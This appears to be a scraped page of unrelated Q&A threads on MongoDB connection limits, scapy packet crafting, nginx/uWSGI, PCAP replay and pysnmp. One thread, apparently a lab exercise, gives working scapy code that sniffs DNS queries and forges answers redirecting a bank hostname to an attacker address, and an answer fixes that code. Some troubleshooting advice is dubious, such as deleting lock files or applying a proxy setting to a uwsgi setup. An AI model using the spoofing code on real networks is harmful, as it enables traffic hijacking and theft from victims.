I have a mongo server with high read/write in a short time. I used python and pymongo, when I wake up this morning I found no connection can make to mongod master cause it's connections reached 19992, its a pretty much scary number
even I stopped all the program, the connection number seems no change
insert query update delete getmore command flushes mapped vsize res faults locked % idx miss % qr|qw ar|aw netIn netOut conn repl time
localhost:27417 0 0 0 0 2 1 0 624m 2.87g 287m 0 0 0 0|0 7|0 162b 1k 19992 M 10:36:16
> db.serverStatus(1)
{
"host" : "42yl:27417",
"version" : "1.8.1",
"process" : "mongod",
"uptime" : 71732,
"uptimeEstimate" : 71470,
"localTime" : ISODate("2011-05-26T03:02:48.301Z"),
"globalLock" : {
"totalTime" : 71732232290,
"lockTime" : 149471421,
"ratio" : 0.002083741384148133,
"currentQueue" : {
"total" : 0,
"readers" : 0,
"writers" : 0
},
"activeClients" : {
"total" : 7,
"readers" : 7,
"writers" : 0
}
},
"mem" : {
"bits" : 32,
"resident" : 258,
"virtual" : 910,
"supported" : true,
"mapped" : 624
},
"connections" : {
"current" : 19792,
"available" : 208
},
"extra_info" : {
"note" : "fields vary by platform",
"heap_usage_bytes" : 562688,
"page_faults" : 965
},
"indexCounters" : {
"btree" : {
"accesses" : 12789,
"hits" : 12789,
"misses" : 0,
"resets" : 0,
"missRatio" : 0
}
},
"backgroundFlushing" : {
"flushes" : 1195,
"total_ms" : 848633,
"average_ms" : 710.1531380753138,
"last_ms" : 101,
"last_finished" : ISODate("2011-05-26T03:02:18.691Z")
},
"cursors" : {
"totalOpen" : 7,
"clientCursors_size" : 7,
"timedOut" : 0
},
"network" : {
"bytesIn" : 685742402,
"bytesOut" : 2742190274,
"numRequests" : 3800041
},
"repl" : {
"ismaster" : true
},
"opcounters" : {
"insert" : 104225,
"query" : 9,
"update" : 925044,
"delete" : 45734,
"getmore" : 1642979,
"command" : 1119290
},
"asserts" : {
"regular" : 0,
"warning" : 56,
"msg" : 0,
"user" : 0,
"rollovers" : 0
},
"writeBacksQueued" : false,
"ok" : 1
}
I checked the socket connections
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:60000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27424 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28417 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28418 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28419 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28420 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28421 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28422 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28423 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:28424 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:38422 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:58422 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27417 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27418 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27419 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27420 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27421 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27422 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27423 0.0.0.0:* LISTEN
tcp 0 0 222.73.61.42:27420 222.73.61.43:38249 ESTABLISHED
tcp 0 0 127.0.0.1:27417 127.0.0.1:56699 ESTABLISHED
tcp 0 0 127.0.0.1:27417 127.0.0.1:56698 ESTABLISHED
tcp 0 0 127.0.0.1:27417 127.0.0.1:56697 ESTABLISHED
tcp 0 0 127.0.0.1:27417 127.0.0.1:56696 ESTABLISHED
tcp 0 0 127.0.0.1:27417 127.0.0.1:56702 ESTABLISHED
tcp 0 0 127.0.0.1:27417 127.0.0.1:56701 ESTABLISHED
tcp 0 0 127.0.0.1:27417 127.0.0.1:56700 ESTABLISHED
tcp 0 0 222.73.61.42:27422 222.73.61.43:33616 ESTABLISHED
tcp 0 0 222.73.61.42:27417 222.73.61.43:60218 ESTABLISHED
tcp 0 0 222.73.61.42:27423 222.73.61.43:33035 ESTABLISHED
tcp 0 3324 222.73.61.42:58422 119.85.195.88:54295 ESTABLISHED
tcp 0 0 222.73.61.42:27424 222.73.61.43:55825 ESTABLISHED
tcp 0 0 222.73.61.42:54279 222.215.136.8:80 ESTABLISHED
tcp 0 0 222.73.61.42:27418 222.73.61.43:37093 ESTABLISHED
tcp 0 0 222.73.61.42:27419 222.73.61.43:38346 ESTABLISHED
tcp 0 0 127.0.0.1:56702 127.0.0.1:27417 ESTABLISHED
tcp 0 0 127.0.0.1:56701 127.0.0.1:27417 ESTABLISHED
tcp 0 0 127.0.0.1:56700 127.0.0.1:27417 ESTABLISHED
tcp 0 0 127.0.0.1:56699 127.0.0.1:27417 ESTABLISHED
tcp 0 0 127.0.0.1:56698 127.0.0.1:27417 ESTABLISHED
tcp 0 0 127.0.0.1:56697 127.0.0.1:27417 ESTABLISHED
tcp 0 0 127.0.0.1:56696 127.0.0.1:27417 ESTABLISHED
tcp 0 0 222.73.61.42:27421 222.73.61.43:39843 ESTABLISHED
udp 0 0 0.0.0.0:48514 0.0.0.0:*
udp 0 0 222.73.61.42:50721 61.128.128.68:53 ESTABLISHED
udp 0 0 127.0.0.1:52274 127.0.0.1:52274 ESTABLISHED
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 9081684 /var/run/nscd/socket
unix 2 [ ACC ] STREAM LISTENING 18011686 /tmp/mongodb-27417.sock
unix 2 [ ACC ] STREAM LISTENING 18011689 /tmp/mongodb-27422.sock
unix 2 [ ACC ] STREAM LISTENING 18011691 /tmp/mongodb-28422.sock
unix 2 [ ACC ] STREAM LISTENING 18011697 /tmp/mongodb-27420.sock
unix 2 [ ACC ] STREAM LISTENING 18011702 /tmp/mongodb-28417.sock
unix 2 [ ACC ] STREAM LISTENING 18011693 /tmp/mongodb-27421.sock
unix 2 [ ACC ] STREAM LISTENING 18011695 /tmp/mongodb-28421.sock
unix 2 [ ACC ] STREAM LISTENING 18011699 /tmp/mongodb-28420.sock
unix 2 [ ACC ] STREAM LISTENING 18011710 /tmp/mongodb-27419.sock
unix 2 [ ACC ] STREAM LISTENING 18011713 /tmp/mongodb-28419.sock
unix 2 [ ACC ] STREAM LISTENING 18011716 /tmp/mongodb-27418.sock
unix 2 [ ACC ] STREAM LISTENING 18011719 /tmp/mongodb-28418.sock
unix 2 [ ACC ] STREAM LISTENING 18011722 /tmp/mongodb-27424.sock
unix 2 [ ACC ] STREAM LISTENING 18011725 /tmp/mongodb-28424.sock
unix 2 [ ACC ] STREAM LISTENING 18011728 /tmp/mongodb-27423.sock
unix 2 [ ACC ] STREAM LISTENING 18011731 /tmp/mongodb-28423.sock
unix 2 [ ACC ] STREAM LISTENING 12771288 /tmp/.s.PGSQL.5432
unix 2 [ ] DGRAM 3651 #/org/kernel/udev/udevd
unix 5 [ ] DGRAM 16472048 /dev/log
unix 2 [ ] STREAM CONNECTED 18706425 /var/run/nscd/socket
unix 2 [ ] DGRAM 16792651
unix 2 [ ] DGRAM 16472057
unix 2 [ ] DGRAM 16472052
We have come across same problem before, I think there is a problem with linux system tuning for TCP_KEEPALIVE_TIME, which specify a timeout for a given tcp connection. For your case, you have a high read/write in a short time, which can make a even lower timeout config for tcp connection.
By using following command, it may help you:
Checking current config:
[root#monitor-hk-1 ~]# cat /proc/sys/net/ipv4/tcp_keepalive_time
7200
Changing config:
echo 300 > /proc/sys/net/ipv4/tcp_keepalive_time
Below are some internal memo by my company:
After some researching for 30,Jul's failure of mongo on testbed, ip 118.26, I found something familiar with production:
1. Total Connections reach 970+ which mongo start to block all the incoming connections.
2. Check netstat, only nearly 100 something connections are kept listening or waiting.
3. Check iostat, and cpu, memory, not a high utilization rate, several percent around 10.
Log:
Tue Jul 30 10:19:03.575 [initandlisten] connection accepted from 192.168.118.18:52858 #261673 (974 connections now open)
Tue Jul 30 10:19:03.575 [initandlisten] pthread_create failed: errno:11 Resource temporarily unavailable
Tue Jul 30 10:19:03.575 [initandlisten] can't create new thread, closing connection
After checking official manual, I found that our tcp keep-alive value may be too high:
[root#monitor-hk-1 ~]# cat /proc/sys/net/ipv4/tcp_keepalive_time
7200
I suggest to change the such value to 300 for a short keep-alive for tcp connections.
Can be done with following command:
echo 300 > /proc/sys/net/ipv4/tcp_keepalive_time
Notes: This can only change this value temporarily. If we reboot the system, it would be reset to default value. If we want to make persistent change, please reference at the Linux operation guide.
Hope this can help you. More Info:
Linux TCP I/O Tuning:
MongoDB Official Doc for TCP Tuning
i googled a bit for you and found on mongodb official site this: mongodb-docs
try using:
waitQueueTimeoutMS=ms
"The amount of time a thread can wait for a connection to become available before timing out. This only applies if the connection pool has reached the maximum size and all connections are already in use."
or:
waitQueueMultiple=n
"The drivers impose a limit on how many threads can be waiting for a connection at the same time. This limit is expressed as a multiple of maxPoolSize."
If you navigate to /tmp/ , you should see 'mongodb-.sock'. you can remove that. Also, there might be a mongod.lock in the dbpath. Removing that will free it up.
USE:
Service mongodb stop
else, kill mongodb connections
Related
Please Note, the provided answer doesn't solve the problem for me.
In python I have:
resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')
I'm using python's scapy sniff function to detect whenever there is a DNS query to 127.0.0.2 to fake a response such that WEBSITE_NAME will get an ip equal to: 127.0.0.3. My code was:
def sniff_and_spoof(source_ip):
# TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
# This socket will be used to accept connections from victimized clients.
packet_filter = " and ".join([
"udp dst port 53", # Filter UDP port 53
"udp[10] & 0x80 = 0", # DNS queries only
"dst host 127.0.0.2"
])
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.bind((source_ip, WEB_PORT))
client_socket.listen()
cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)
and:
def dns_callback(packet, extra_args):
# TODO: Write callback function for handling DNS packets.
# Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
eth = Ether(
src=packet[Ether].dst, dst=packet[Ether].src
)
ip = IP(
src=packet[IP].dst, dst=packet[IP].src
)
udp = UDP(
dport=packet[UDP].sport, sport=packet[UDP].dport
)
dns = DNS(
id=packet[DNS].id, qd=packet[DNS].qd,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
ar=DNSRR(
rrname=packet[DNS].qd.qname,
type='A',
ttl=600,
rdata='127.0.0.3')
)
response_packet = eth / ip / udp / dns
sendp(response_packet, iface=net_interface)
Even though I can see a good response in wireshark the query is being send over and over again and Bye doesn't seem to get ever printed. Why is that?
Wireshark output: (request in line 4 and its response in line 5)
enter image description here
Keeping the code running gives the following error:
result = resolver.query("LetumiBank.com")
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
timeout = self._compute_timeout(start, lifetime)
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds
UPDATE:
Tried this too, same problem:
eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)
ip = IP(src=packet[IP].dst, dst=packet[IP].src)
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
dns = DNS(
id=packet[DNS].id,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
qd=DNSQR( # Query
qname=packet[DNSQR].qname
),
an=DNSRR( # Answer
rrname=packet[DNS].qd.qname,
type='A',
rclass=1,
ttl=600,
rdata='127.0.0.3'
)
)
ar=DNSRR() is wrong in your call to DNS().
Your answer should be in the an element. It is unfortunate Scapy uses such small names that are confusing.
You may also need a list because the sections, except the question, are storing multiple records, not just one.
So try an=DNSRR(...) or an=[DNSRR(...)] in your DNS() call.
A DNS packet can have up to 4 sections:
a question, called qd in Scapy
an answer, called an,
an authority, called ns
an additional part, called ar
Your ancount/arcount are right though, so maybe just a typo?
By not sending really a reply (that is the "answer" part of the packet is empty, even if you do reply with a DNS packet") the client does not get an answer for its query and hence its normal behavior is to try to get back hopefully an answer.
Scapy documentation at https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html shows this "RFC" like schema:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fig. DNS
Where the RFC 1035 has:
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
for the header and
+---------------------+
| Header |
+---------------------+
| Question | the question for the name server
+---------------------+
| Answer | RRs answering the question
+---------------------+
| Authority | RRs pointing toward an authority
+---------------------+
| Additional | RRs holding additional information
+---------------------+
for the whole packet.
So that explains at least why Answer=AN, Authority=NS and Additional=AR (I have to idea how the last two 2 letters monikers were chosen).
PS: regarding your comment about ttl that "doesn't work" without explanations on what the problem is, I don't see the problem you have (with Scapy 2.4.5):
>>> r=DNSRR(rrname='example.com', type='A', ttl=600, rdata='127.0.0.3')
>>> print(r)
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'\x07example\x03com\x00\x00\x01\x00\x01\x00\x00\x02X\x00\x04\x7f\x00\x00\x03'
>>> r
<DNSRR rrname='example.com' type=A ttl=600 rdata=127.0.0.3 |>
>>> r.ttl
600
I am trying to understand how to add a custom dissector in Scapy. I am using Python 3.4 and Scapy3 if that has any bearing on the result.
I have a stupid class, and the packet.show2() command correctly renders the nested packet. But I can not access the new Layers field values.
Scary Class and bind_layer follows...
from scapy.all import *
#Create simple Class
class DUMBO(Packet):
fields_desc = [
ShortField('ears',0),
ShortField('legs',0),
ShortField('trunk',0)
]
#Inform TCP that ports 9898 are this protocol
bind_layers(TCP, DUMBO, sport=9898, dport=9898)
I make a packet like this
#Make a Packet
pack=IP()/TCP(sport=9898, dport=9898)/Raw(load=b'\x00\x02\x00\x04\x00\x01')
Looking at the Packet I have created using ls yields
version : BitField = 4 (4)
ihl : BitField = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField = 0 (0)
frag : BitField = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 6 (0)
chksum : XShortField = None (None)
src : Emph = '127.0.0.1' (None)
dst : Emph = '127.0.0.1' ('127.0.0.1')
options : PacketListField = [] ([])
--
sport : ShortEnumField = 9898 (20)
dport : ShortEnumField = 9898 (80)
seq : IntField = 0 (0)
ack : IntField = 0 (0)
dataofs : BitField = None (None)
reserved : BitField = 0 (0)
flags : FlagsField = 2 (2)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = 0 (0)
options : TCPOptionsField = {} ({})
--
load : StrField = b'\x00\x02\x00\x04\x00\x01' (b'')
And display it using Show2 it all looks good
pack.show2()
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 46
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = 0x7cc7
src = 127.0.0.1
dst = 127.0.0.1
\options \
###[ TCP ]###
sport = monkeycom
dport = monkeycom
seq = 0
ack = 0
dataofs = 5
reserved = 0
flags = S
window = 8192
chksum = 0x447f
urgptr = 0
options = []
###[ DUMBO ]###
ears = 2
legs = 4
trunk = 1
I now want to access the DUMBO Layer fields
But
PACK[DUMBO].ears
Is not correct - as the packet when displayed as pack.show() still has the Payload as Raw....
What am I missing ??
Ok - This is my solution....
pack=IP()/TCP(sport=19898, dport=19898)/Raw(load=b'\x00\x02\x00\x04\x00\x01')
#Cast this packet back
pack=IP(bytes(pack))
pack.show2()
pack.show()
if DUMBO in pack:
print('Elephant in the house')
print('Ears -> {}'.format(pack[DUMBO].ears))
If anyone else can improve on this I would be happy on seeing the solution.
Note: I'm just getting started with Scapy, so I can't promise this is the correct/only way to go.
As per Documentation: Add new protocols to Scapy, put the code with the protocol definition in a seperate python file. Make sure you also set the required headers. Then place that file either in scapy/layers or scapy/contrib.
After that, the protocol can be loaded with load_layer(...) or load_contrib(...) where you plan on using it.
For DUMBO we'll go with contrib.
dumbo.py:
# scapy.contrib.description = Dumbo the elephant
# scapy.contrib.status = loads
from scapy.packet import Packet, bind_layers
from scapy.fields import ShortField
from scapy.layers.inet import TCP
#Create simple Class
class DUMBO(Packet):
fields_desc = [
ShortField('ears',0),
ShortField('legs',0),
ShortField('trunk',0)
]
#Inform TCP that ports 9898 are this protocol
bind_layers(TCP, DUMBO, sport=9898, dport=9898)
Now let's use it:
$ scapy
>>> load_contrib("dumbo")
>>> pack1=IP()/TCP(sport=9898, dport=9898)/DUMBO(b'\x00\x02\x00\x04\x00\x01')
>>> pack2=IP()/TCP(sport=9898, dport=9898)/DUMBO(ears=2, legs=4, trunk=1)
>>> pack1
<IP frag=0 proto=tcp |<TCP sport=9898 dport=9898 |<DUMBO ears=2 legs=4 trunk=1 |>>>
>>> pack2
<IP frag=0 proto=tcp |<TCP sport=9898 dport=9898 |<DUMBO ears=2 legs=4 trunk=1 |>>>
>>> pack1[DUMBO].ears
2
>>> pack2[DUMBO].ears
2
Hope this helps somebody who stumbles upon this question.
Versions used: Python v3.8.5 ; Scapy v2.4.5
I've a setup with Nginx, uWSGI and a Python Flask app. Below you can find server directive from Nginx configuration:
location /api {
try_files $uri #api;
}
location #api {
include uwsgi_params;
uwsgi_pass 127.0.0.1:3031;
}
I start uWSGI with uwsgi --ini /etc/uwsgi.ini. That file looks like this:
[uwsgi]
uid = root
gid = root
socket = 127.0.0.1:3031
module = iris.api
callable = app
Requests to / work fine, Nginx returns the "Welcome to Nginx"-page.
But request to /api are failing. The first request at /api/analog_output/1 is passed via uWSGI to the Python app. The Python app returns with a HTTP 200 response, but Nginx doesn't finish the request by sending this response back to the client.
--- Operational MODE: single process --- WSGI app 0 (mountpoint='') ready in 11 seconds on interpreter 0x1567e8 pid: 957 (default app)
--- uWSGI is running in multiple interpreter mode --- spawned uWSGI worker 1 (and the only) (pid: 957, cores: 1)
[pid: 957|app: 0|req: 1/1] 10.0.0.125 () {42 vars in 712 bytes} [Sun Jan 14 17:22:49 2007] GET /api/analog_output/1 => generated 135 bytes in 66 msecs (HTTP/1.1 200) 2 headers in 72 bytes (1 switches on core 0)
Below you can find the output of strace bind to the Nginx worker.
17:27:39.127453 gettimeofday({1168795659, 128279}, NULL) = 0
17:27:39.129180 write(4, "2007/01/14 17:27:39 [info] 970#0"..., 83) = 83
17:27:39.130169 epoll_wait(8, {{EPOLLIN, {u32=651592, u64=2410198208213320}}}, 512, -1) = 1
17:27:44.680001 gettimeofday({1168795664, 680353}, NULL) = 0
17:27:44.682734 accept4(6, {sa_family=AF_INET, sin_port=htons(53845), sin_addr=inet_addr("10.0.0.125")}, [16], SOCK_NONBLOCK) = 3
17:27:44.685625 epoll_ctl(8, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLRDHUP|EPOLLET, {u32=651816, u64=651816}}) = 0
17:27:44.688045 epoll_wait(8, {{EPOLLIN, {u32=651816, u64=651816}}}, 512, 60000) = 1
17:27:44.690552 gettimeofday({1168795664, 691682}, NULL) = 0
17:27:44.693043 recv(3, "GET /api/analog_output/1 HTTP/1."..., 1024, 0) = 426
17:27:44.695848 stat64("/usr/html/api/analog_output/1", 0xbeb8f730) = -1 ENOENT (No such file or directory)
17:27:44.698599 epoll_ctl(8, EPOLL_CTL_MOD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=651816, u64=13170497834292212264}}) = 0
17:27:44.701146 getsockname(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("10.0.0.195")}, [16]) = 0
17:27:44.703848 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 10
17:27:44.706386 ioctl(10, FIONBIO, [1]) = 0
17:27:44.708823 epoll_ctl(8, EPOLL_CTL_ADD, 10, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=651928, u64=2525337691484824}}) = 0
17:27:44.711468 connect(10, {sa_family=AF_INET, sin_port=htons(3031), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
17:27:44.714574 epoll_wait(8, {{EPOLLOUT, {u32=651816, u64=13170497834292212264}}, {EPOLLOUT, {u32=651928, u64=2525337691484824}}}, 512, 60000) = 2
17:27:44.717109 gettimeofday({1168795664, 718064}, NULL) = 0
17:27:44.719461 recv(3, 0xbeb8f89c, 1, MSG_PEEK) = -1 EAGAIN (Resource temporarily unavailable)
17:27:44.721999 getsockopt(10, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
17:27:44.724476 writev(10, [{"\0\310\2\0\f\0QUERY_STRING\0\0\16\0REQUEST_ME"..., 716}], 1) = 716
17:27:44.729618 epoll_wait(8, {{EPOLLIN|EPOLLOUT, {u32=651928, u64=2525337691484824}}}, 512, 60000) = 1
17:27:44.793473 gettimeofday({1168795664, 794585}, NULL) = 0
17:27:44.796026 recv(10, "HTTP/1.1 200 OK\r\nContent-Type: a"..., 4096, 0) = 207
But now the Nginx's worker hangs with full CPU. Further requests aren't processed.
What is going on? And how can I fix it?
Your location block looks incomplete. Not in front of a machine at the moment, but try adding:
proxy_redirect off;
edit: the #app location block
I am using following python script to replay PCAP files from Debian machine.
from scapy.all import *
global src_ip, dst_ip
src_ip = "10.1.1.14"
dst_ip = "10.1.1.1"
src_mac = "Src_mac_addr"
dst_mac = "Dst_mac_addr"
infile = "mms.pcap"
def my_send(rd, count=100):
pkt_cnt = 0
p_out = []
for p in rd:
pkt_cnt += 1
np = p.payload
if p.haslayer(IP) == 1:
np[IP].dst = dst_ip
np[IP].src = src_ip
del np[IP].chksum
if p.haslayer(Ether) == 1:
p[Ether].dst = dst_mac
p[Ether].src = src_mac
#del np[IP].chksum
#del np[TCP].chksum
if p.haslayer(TCP) == 1:
del np[TCP].chksum
if p.haslayer(UDP) == 1:
del np[UDP].chksum
#np[IP].show2()
p_out.append(np)
if pkt_cnt % count == 0:
send(PacketList(p_out))
p_out = []
# Send remaining in final batch
send(PacketList(p_out))
print "Total packets sent %d" % pkt_cnt
try:
my_reader = PcapReader(infile)
my_send(my_reader)
except IOError:
print "Failed reading file %s contents" % infile
sys.exit(1)
But Packets are getting dropped in firewall with the following error messages:
1 11:15:16.481371 no matching TCP flow (#178) TCP: 10.1.1.14 > 10.1.1.1 ports 102 > 1089, SA, MSS 1460, SACK OK, DF, DSCP 0
2 11:15:16.482790 TCP out of range seq number * (#82) TCP: 10.1.1.14 > 10.1.1.1 ports 1089 > 102, A, DF, DSCP 0
3 11:15:16.620475 TCP out of range seq number * (#82) TCP: 10.1.1.14 > 10.1.1.1 ports 1089 > 102, data length 4, PA, DF, DSCP 0
4 11:15:16.687494 TCP out of range seq number * (#82) TCP: 10.1.1.14 > 10.1.1.1 ports 1089 > 102, data length 18, PA, DF, DSCP 0
5 11:15:16.688528 no matching TCP flow (#178) TCP: 10.1.1.14 > 10.1.1.1 ports 102 > 1089, A, DF, DSCP 0
6 11:15:16.688710 no matching TCP flow (#178) TCP: 10.1.1.14 > 10.1.1.1 ports 102 > 1089, data length 4, PA, DF, DSCP 0
7 11:15:16.690016 no matching TCP flow (#178) TCP: 10.1.1.14 > 10.1.1.1 ports 102 > 1089, data length 10, PA, DF, DSCP 0
Could anyone please suggest some idea to fix this issue?
i am using the following simple script:
from pysnmp.entity.rfc3413.oneliner import cmdgen
errorIndication, errorStatus, errorIndex, \
varBindTable = cmdgen.CommandGenerator().bulkCmd(
cmdgen.CommunityData('test-agent', 'public'),
cmdgen.UdpTransportTarget(('IP.IP.IP.IP', 161)),
0,
1,
(1,3,6,1,2,1,4,24,4,1,2,169,254)
)
if errorIndication:
print errorIndication
else:
if errorStatus:
print '%s at %s\n' % (
errorStatus.prettyPrint(),
errorIndex and varBindTable[-1][int(errorIndex)-1] or '?'
)
else:
for varBindTableRow in varBindTable:
for name, val in varBindTableRow:
print '%s = %s' % (name.prettyPrint(), val.prettyPrint())
Using snmpwalk from command line to this device returns expected result. But
script returns No SNMP response received before timeout. If i omit this OID then everything works fine.
So the problem is in this OID
Here tcpdump stats:
/usr/sbin/tcpdump -nn -vv -s0 -A host HOST and udp
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
12:15:31.494920 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 77) IP.IP.IP.IP.47911 > IP.IP.IP.IP.161: [bad udp cksum 4b7d!] { SNMPv2c { GetBulk(34) R=8993731 N=0 M=1 .1.3.6.1.2.1.4.24.4.1.2.169.254 } }
E..M..#.#.I..]<..]</.'...9.S0/.....public."....;.......0.0...+..........).~..
12:15:31.495666 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 98) IP.IP.IP.IP.161 > IP.IP.IP.IP.47911: [udp sum ok] { SNMPv2c { GetResponse(55) R=8993731 .1.3.6.1.2.1.4.24.4.1.2.169.254.0.0.0.0.255.255.0.0.0.0.0=[inetaddr len!=4]0.0.255.255.0.0.0.0 } }
E..b..#.#.I..]</.]<....'.N.\0D.....public.7....;.......0)0'..+..........).~.............#.........
12:15:32.500226 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 77) IP.IP.IP.IP.47911 > IP.IP.IP.IP.161: [bad udp cksum 4b7d!] { SNMPv2c { GetBulk(34) R=8993731 N=0 M=1 .1.3.6.1.2.1.4.24.4.1.2.169.254 } }
E..M..#.#.I..]<..]</.'...9.S0/.....public."....;.......0.0...+..........).~..
12:15:32.500624 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 98) IP.IP.IP.IP.161 > IP.IP.IP.IP.47911: [udp sum ok] { SNMPv2c { GetResponse(55) R=8993731 .1.3.6.1.2.1.4.24.4.1.2.169.254.0.0.0.0.255.255.0.0.0.0.0=[inetaddr len!=4]0.0.255.255.0.0.0.0 } }
E..b..#.#.I..]</.]<....'.N.\0D.....public.7....;.......0)0'..+..........).~.............#.........
As we can see, device returns response .1.3.6.1.2.1.4.24.4.1.2.169.254.0.0.0.0.255.255.0.0.0.0.0=[inetaddr len!=4]0.0.255.255.0.0.0.0, but nothing happens and pysnmp just continue to try the value of this OID again and again.. snmpwalk recognizes this response as IP ADDRESS 0.0.255.255
Can you guys help me? Thanks in advance and sorry my english.
Your SNMP Agent seems to produce broken SNMP messages. While IPv4 address is four-octets long, your Agent reports eight-octets value.
As per SNMP RFCs, pysnmp drops malformed SNMP messages and retries original request a few times in hope to get correct response.
To make pysnmp working with specifically malformed IP address values you could patch its IpAddress class at runtime to make it taking just the four leading octets from a possibly longer initializer:
>>> def ipAddressPrettyIn(self, value):
... return origIpAddressPrettyIn(self, value[:4])
...
>>> origIpAddressPrettyIn = v2c.IpAddress.prettyIn
>>> v2c.IpAddress.prettyIn = ipAddressPrettyIn
>>>
>>> msg, rest = decoder.decode(wholeMsg, asn1Spec=v2c.Message())
>>> print msg.prettyPrint()
Message:
version='version-2'
community=public
data=PDUs:
response=ResponsePDU:
request-id=6564368
error-status='noError'
error-index=0
variable-bindings=VarBindList:
VarBind:
name=1.3.6.1.2.1.4.24.4.1.2.169.254.0.0.0.0.255.255.0.0.0.0.0
=_BindValue:
value=ObjectSyntax:
application-wide=ApplicationSyntax:
ipAddress-value=0.0.255.255